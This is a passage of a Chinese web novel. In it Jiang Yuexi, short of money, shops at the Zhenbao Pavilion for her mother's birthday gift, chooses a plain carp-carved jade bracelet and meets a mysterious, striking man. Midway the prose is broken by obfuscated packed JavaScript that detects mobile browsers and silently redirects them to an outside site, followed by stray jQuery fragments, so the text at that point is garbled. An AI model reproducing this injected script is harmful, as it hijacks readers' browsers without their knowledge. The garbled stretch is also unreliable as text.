那日不知道江沉秋和江老爷谈了什么,总之江家算是恢复了以往的平静。
据说大夫人在那之后一直在找禀报这件事给二少爷的下人,但几番查找都没有线索,传话与江沉秋那边也说是无甚印象,这事便不了了之。
在江月溪看来,平静之下往往是波涛暗涌,不知什么时候就会掀起轩然大波。
但她现在却无暇关心这些事。
四季之美,必属春景。
可如此好时节,江月溪只能坐在书案前叹气。
清露和栖梧站在她的身侧,两人都拿着账目,一个人报账,一个人记账,江月溪听得只觉得血压在突突上升。
“等等,这个清心丸和养生汤是什么时候的事,为何也要扣银子?”江月溪突然出声打断她们的报账。
清露看了看账目上的备注:“回小姐,这是你之前说的每月的份额都要移一部分给花姨娘送些补品,这些都是给西厢房那边支出的部分。”
江月溪听后又是无奈的一声叹息,是啊,她都忘了,这江家除了基本的生活份额,其他的都是要额外再支出的,打赏下人,改善膳食,置办杂物等等。
哦,还有打探消息,清露上次就说她给银子太大方了,再这样就不许让栖梧跟着,换成她来。
真是,无处不需要银子。
可是她恰好又是个没银子的穷鬼,空有小姐的名头。
之前没帮江夫人做事时,下人们便经常克扣原身的月例。花姨娘那边也根本没有多余的银钱接济她,所以原身手上其实没有攒下多少银子。还是后来江月溪穿过来,偷偷倒卖江家给她的檀香才攒下了第一笔银子,就这,还不长远也不丰。
“不过花姨娘那边已经叫停了,下个月这项支出应该就会消失,但即使如此我们账面上的余额也所剩不多。”清露点点账目,又道:“而且新入的那一批月银已经支出了一部分给小姐制作夏装,加上之前攒的按理来说也是够的,但是——”
江月溪眼皮一跳。
“不久后可就要到夫人的生辰了啊……”
江夫人的生辰就在春季,也不知道这春季到底是想怎样,怎么什么事都要参上一脚。也不对,这江家哪里就只有江夫人要过生辰,还有奉京真是时不时就要办个这个宴那个宴的,聚这个会那个会的。
不行,不能再想了。
江月溪揉揉眉心:“既是母亲的生辰,自然是要备一份好的生辰之礼,免得我们被落下口舌,但也不必太好,只要母亲明白我们这份心意即可。”
所以木簪雕经这个敷衍大法是不能再用了。
栖梧想了想:“小姐既是要挑礼,奴婢倒是知道一个好地方,这奉京也唯有这家应是可以捡漏些好东西的。”
江月溪一听可以捡漏,露出感兴趣的眼神:“何处?”
“奉京名肆,珍宝阁。”
-
珍宝阁是奉京最有名的宝肆,以天下万千珍宝藏于其中而闻名。但无人知道幕后的东家到底是谁,如今也只是交由一位姓万的大掌柜在打理。
“小姐,到地方了。”
马车停下,栖梧掀开帘子,江月溪一抬眼就看见那座不同于其他商铺,修建的极为雅致的阁楼。
阁楼两边站着两个清秀侍女,见到江月溪便行盈盈一礼,其中一个自发为江月溪引路挑选。
江月溪今日没有变装,用的是她本来的容貌,然而江月溪一心扑在了捡漏礼物之上,所以她自然也没注意到那些侍从、来客看到她时,眼里皆是按耐不住的震惊。
今日可是黄道吉日?竟有仙子下凡巡游来了!
“这珍宝阁可有适合女子的首饰,实不相瞒我今日是来给母亲挑选贺礼的。”江月溪一路看过去,这珍宝阁倒确实没负它的名声,琉璃玉石,锦衣罗缎,就连前朝名门大家的笔墨书画都分别陈列在各个架子上供人挑选,好像只有别人买不起的,就没有它不敢卖的珍宝。
果真是琳琅满目。
引路的侍女轻轻一笑:“回仙……客官,我们这里的首饰都在二楼,别的不说,那可是能布满一整层楼,必能让客官选的尽兴!”
说完她便带着江月溪上了二楼,一踏入江月溪心里暗惊,这侍女真是没有夸大其词,整层二楼全都是首饰精品,不说她,栖梧已经在她耳边发出了不止一声感叹。
侍女笑吟吟地为她介绍着,这里有上等材料打造的不俗至宝、有名家倾尽心力的遗作、甚至还有前朝皇家之物!
但对于江月溪来说不过都是浮云罢了,因为她,根本买不起!
侍女虽说还带着笑尽心尽力的为江月溪讲解着,但她的心里早已暗暗叫苦,眼前这个容貌绝然,气质如仙的女子竟然没有看上一件东西吗?!果然,这等俗物哪里配入她的眼呢!早知道就叫掌柜的赶紧把那些个镇店之宝拿出来给仙子细细观赏了,怎能叫这些东西污了仙子的眼!
“客官。”侍女转过身面对江月溪微微躬身:“这些东西不过是一些俗物并不够好,但是客官不必担忧,我们珍宝阁还有一些稀世之宝需要请示掌柜才能给您过目,必不会叫客官失望第二次。”
江月溪来不及阻止,侍女已经快步离开,想来是去请示掌柜了。
偏偏栖梧那个不省心的还在一旁嘟嘟囔囔:“不是吧,就这些还叫俗物,明明随便哪一样我们都买不起啊,难道是我们看起来很有银子?”
江月溪扶额:“闭嘴,我们现在得赶紧下去,别真让他们拿出什么稀世之宝来了。”
等两人赶到一楼大堂时,迎面而来的是珍宝阁万掌柜堆满褶子的大笑脸:“哎哟,这位客官怎么下来了,我这正要上去找您呢!听下边人说上头的东西都入不了您的眼,这不我立马把我们珍宝阁近来最好的首饰全带过来了,客官随便选啊!”
江月溪面色一沉,果然,这话一出,周围人带着些异样的目光立马扫射而来。
有个穿着蓝色锦衣,头戴玉簪的骄纵少女看了江月溪一眼,只看到隐隐一张侧脸,哼笑道:“一个连衣服料子都是普通织布,不知打哪儿来的穷鬼也好意思摆阔绰,也不知身上带够银子了没,别待会儿让人笑话!”
江月溪闻声望去,额间朱砂似血,眉毛细长而弯,犹如树梢轻烟,那双秋水凌波的眸子带着平静,一种近乎悲悯的平静,随着她走动的动作,淡淡萦绕的檀香瞬间飘散而开。
看清了她面容的少女张了张嘴,目瞪口呆的说不出半个字。
而周围的来客也都想起来,那位只出现一瞬的仙子观音似乎正是上到二楼去了。
这下,他们的目光不仅不异样,还带了些理所当然,废话!仙子来挑礼哪里能只带些俗物回去,自然要把最好的宝物给她。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16548867|186668||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>江月溪蹙眉,似乎不明白这种转变是怎么回事。
万掌柜仿佛早就料到这一幕一般,呵呵一笑将江月溪请进了里屋的隔间,关上门,彻底隔绝了外边人的视线。
江月溪坐在招待的椅子上,面前摆满了珠玉首饰,虽说都是稀世之宝,可这数量亦能让挑花了眼。
江月溪心里直叹气,同理,买不起。
“万掌柜,多谢你的好意,可我所求的并非这些名贵之物,送与我母亲的礼只需合适就好,还请将这些珍宝收回吧。”
万掌柜有些不知所措,这些已是珍宝阁近来最好的首饰,竟然也不能合仙子的心意吗?他连忙将所有摆在桌上的盒子都打开,一一将首饰取出:“这……客官您再看看罢,这件是前朝皇室的金簪,上面还镶刻了由前朝名匠亲自打造的黄宝石,还有这件,这件颈饰上的珠子可是传说中的鲛珠,那可是贡品!常人可还见不到的!还有还有——咦?”
万掌柜从中拿起一支玉镯,那是一支翡翠玉镯,江月溪一眼就看出来这支玉镯的料子并不上乘,冰种的,价格应是不贵。随着万掌柜转动镯子的动作,江月溪看清这玉镯在翡翠之中居然还雕刻了一尾锦鲤,转动时似乎还会游动,倒也算别有趣味。
这种东西是怎么混进来的?万掌柜百思不得其解,大抵是下边做事不细心误放了吧。
想通后万掌柜正要将镯子收起来。
“掌柜的,这只镯子我要了。”
万掌柜抬头,就见江月溪坐在对面眼里看着的正是他手上这支平平无奇、毫无特点的翡翠玉镯,
“这,客官,这支镯子并非珍宝,我也不知它怎么就混入其中了,要不您还是换一样吧。”万掌柜解释道。
“不必。”江月溪笑道:“锦鲤刻于玉石之中亦是别有一番风趣,寓意也好,想来母亲定会对此物感兴趣。”
既然客官都这么说,万掌柜就是再觉得此物配不上也不好再劝道什么,将玉镯递给了江月溪。
江月溪刚一接过,隔间外却突然传来不小的动静,还伴随着不断的吸气声和阵阵惊呼声。
这感觉异常的熟悉。
她微微皱眉,栖梧立马走到门前一拉——
只见站在在隔间外的人穿着一身白衣华服,金丝暗线细致的遍布在这华服上,衣摆飘动之间晕染出淡淡光辉。
但当江月溪看清他长相的那一刻,注意力便不在这名贵服饰之上,她的心里只剩下四个字。
妖孽至极。
她并非没有见过长相出众的男子,可从来没有人能给她这种奇异的感觉,明明是极其张扬艳绝的长相,可却无法让人生出一丝一毫的觊觎之心、庸俗之感,有的只是一种不可靠近的禁忌,能让人心生怯意。
一种预感正在告诉她,很危险,这个人很危险!
江月溪不好再看,立马吩咐掌柜将玉镯包起,她好离开。
然而命运似乎总喜欢违背她的意愿,在掌柜呆滞和带着不明羞涩的眼神中,一只手越过她拿起了放在她手上的玉镯。
修长白皙,骨节分明。
翡翠制的镯子落在这手上,竟还败下了几分暗沉。
江月溪不自觉的抬头,恰好对上了那双眼尾上挑的眼睛。
神秘、诱惑、危险。
清澈、纯洁、警惕。
两人皆是一滞。